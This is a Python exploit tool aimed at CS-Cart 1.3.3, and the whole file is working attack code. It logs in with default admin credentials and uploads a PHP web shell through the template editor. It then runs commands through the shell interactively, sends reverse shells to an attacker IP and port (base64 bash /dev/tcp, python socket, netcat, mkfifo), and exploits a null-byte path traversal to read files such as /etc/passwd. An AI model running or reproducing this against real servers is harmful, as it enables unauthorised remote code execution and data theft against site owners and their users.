#!/usr/bin/env python3
"""
CS-Cart Multi-Exploit Tool
Developed by: Strikoder
Tested on: CS-Cart 1.3.3
"""
import requests
import sys
import argparse
from urllib.parse import urljoin, quote
import base64

PHP_SHELL = """<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
"""

def banner():
    print("""
╔═══════════════════════════════════════════╗
║   CS-Cart Multi-Exploit Tool              ║
║   Developed by: Strikoder                 ║
║   Tested on: CS-Cart 1.3.3                ║
╚═══════════════════════════════════════════╝
    """)

def login(target, username, password):
    print(f"[*] Logging in to {target}/admin.php")
    
    session = requests.Session()
    login_url = urljoin(target, "admin.php")
    
    try:
        session.get(login_url, verify=False, timeout=10)
    except:
        print("[-] Connection failed")
        return None
    
    login_data = {
        'user_login': username,
        'password': password,
        'target': 'auth',
        'mode': 'login'
    }
    
    try:
        session.post(login_url, data=login_data, verify=False, timeout=10)
        
        if 'acsid' in session.cookies or 'csid' in session.cookies:
            print("[+] Authentication successful")
            return session
        else:
            print("[-] Authentication failed")
            return None
    except Exception as e:
        print(f"[-] Login error: {e}")
        return None

def upload_shell(session, target, shell_name):
    print(f"[*] Uploading {shell_name}.phtml")
    
    upload_url = urljoin(target, "admin.php")
    
    files = {
        'local_uploaded_data[0]': (f'{shell_name}.phtml', PHP_SHELL, 'application/octet-stream')
    }
    
    data = {
        'target': 'template_editor',
        'mode': 'upload_file',
        'm_utype[0]': 'local',
        'server_uploaded_data[0]': '',
        'url_uploaded_data[0]': 'http://'
    }
    
    try:
        resp = session.post(upload_url, files=files, data=data, verify=False, timeout=10, allow_redirects=True)
        
        if resp.status_code in [200, 302]:
            print("[+] Upload successful")
            return True
        else:
            print(f"[-] Upload failed: {resp.status_code}")
            return False
            
    except Exception as e:
        print(f"[-] Upload error: {e}")
        return False

def verify_shell(session, target, shell_name):
    shell_url = urljoin(target, f"skins/{shell_name}.phtml")
    print(f"[*] Checking {shell_url}")
    
    try:
        resp = session.get(shell_url, params={'cmd': 'echo VERIFIED'}, verify=False, timeout=10)
        
        if resp.status_code == 200 and 'VERIFIED' in resp.text:
            print("[+] Shell verified")
            return shell_url
        else:
            print("[-] Shell check failed")
            return None
            
    except Exception as e:
        print(f"[-] Check error: {e}")
        return None

def exec_cmd(session, shell_url, command):
    try:
        resp = session.get(shell_url, params={'cmd': command}, verify=False, timeout=15)
        
        if resp.status_code == 200:
            return resp.text.replace('<pre>', '').replace('</pre>', '').strip()
        else:
            return f"Request failed: {resp.status_code}"
            
    except Exception as e:
        return f"Error: {e}"

def get_revshell_cmd(ip, port):
    # Base64 encode the bash reverse shell
    raw_cmd = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"
    b64_cmd = base64.b64encode(raw_cmd.encode()).decode()
    
    # Decode and execute
    return f"echo {b64_cmd} | base64 -d | bash"

def trigger_revshell(session, shell_url, ip, port):
    print(f"\n[*] Sending reverse shell to {ip}:{port}")
    print(f"[!] Start listener: nc -lvnp {port}\n")
    
    methods = []
    
    # Method 1: Base64 encoded bash
    raw_cmd = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"
    b64_cmd = base64.b64encode(raw_cmd.encode()).decode()
    methods.append(("Bash (b64)", f"echo {b64_cmd} | base64 -d | bash"))
    
    # Method 2: Background bash
    methods.append(("Bash (bg)", f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1' &"))
    
    # Method 3: Python
    methods.append(("Python", f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"))
    
    # Method 4: NC
    methods.append(("Netcat", f"nc -e /bin/bash {ip} {port}"))
    
    # Method 5: NC mkfifo
    methods.append(("NC (mkfifo)", f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {ip} {port} >/tmp/f"))
    
    for name, cmd in methods:
        print(f"[*] Trying {name}...")
        
        try:
            resp = session.get(shell_url, params={'cmd': cmd}, verify=False, timeout=2)
            print(f"[+] {name} sent")
        except requests.exceptions.Timeout:
            print(f"[+] {name} triggered (timeout = good sign)")
        except requests.exceptions.ConnectionError:
            print(f"[+] {name} triggered (connection lost = good sign)")
        except Exception as e:
            print(f"[-] {name} error: {str(e)[:50]}")
        
        import time
        time.sleep(1)
    
    print("\n[*] All methods attempted. Check your listener.")

def exploit_lfi(target, file_path):
    print(f"\n[*] Reading: {file_path}")
    
    encoded_path = quote(file_path) + "%00"
    lfi_url = f"{target}/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../{encoded_path}"
    
    print(f"[*] URL: {lfi_url}")
    
    try:
        resp = requests.get(lfi_url, verify=False, timeout=10)
        
        print(f"[*] Status: {resp.status_code}")
        
        if resp.status_code == 200:
            print(f"\nFile: {file_path}")
            print(resp.text)
            return True
        else:
            print(f"[-] Failed with status {resp.status_code}")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def interactive_mode(session, shell_url):
    print("\n[*] Interactive mode (type 'exit' to quit)\n")
    
    while True:
        try:
            cmd = input("$ ")
            
            if cmd.lower() in ['exit', 'quit']:
                break
            
            if not cmd.strip():
                continue
            
            output = exec_cmd(session, shell_url, cmd)
            print(output)
                
        except KeyboardInterrupt:
            print("\n[*] Exiting")
            break
        except Exception as e:
            print(f"Error: {e}")

def main():
    banner()
    
    parser = argparse.ArgumentParser(
        description='CS-Cart exploitation tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -t http://target.com -c "id"
  python3 exploit.py -t http://target.com -i 10.10.14.5 4444
  python3 exploit.py -t http://target.com --lfi /etc/passwd
        """
    )
    
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-u', '--username', default='admin', help='Username (default: admin)')
    parser.add_argument('-p', '--password', default='admin', help='Password (default: admin)')
    parser.add_argument('-s', '--shell-name', default='shell', help='Shell filename')
    parser.add_argument('-c', '--command', help='Execute command')
    parser.add_argument('-i', '--interactive', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell')
    parser.add_argument('--lfi', metavar='FILE', help='Read file via LFI')
    
    args = parser.parse_args()
    
    requests.packages.urllib3.disable_warnings()
    
    target = args.target.rstrip('/')
    if not target.startswith('http'):
        target = 'http://' + target
    
    # LFI doesn't need auth
    if args.lfi:
        exploit_lfi(target, args.lfi)
        sys.exit(0)
    
    print("[*] Starting RCE exploit\n")
    
    session = login(target, args.username, args.password)
    if not session:
        sys.exit(1)
    
    print()
    if not upload_shell(session, target, args.shell_name):
        sys.exit(1)
    
    print()
    shell_url = verify_shell(session, target, args.shell_name)
    
    if not shell_url:
        print("\n[-] Shell verification failed")
        sys.exit(1)
    
    print()

    if args.command:
        print(f"[*] Executing: {args.command}")
        output = exec_cmd(session, shell_url, args.command)
        print(f"\n{output}")

    elif args.interactive:
        lhost = args.interactive[0]
        lport = args.interactive[1]
        trigger_revshell(session, shell_url, lhost, lport)

    else:
        interactive_mode(session, shell_url)

if __name__ == '__main__':
    main()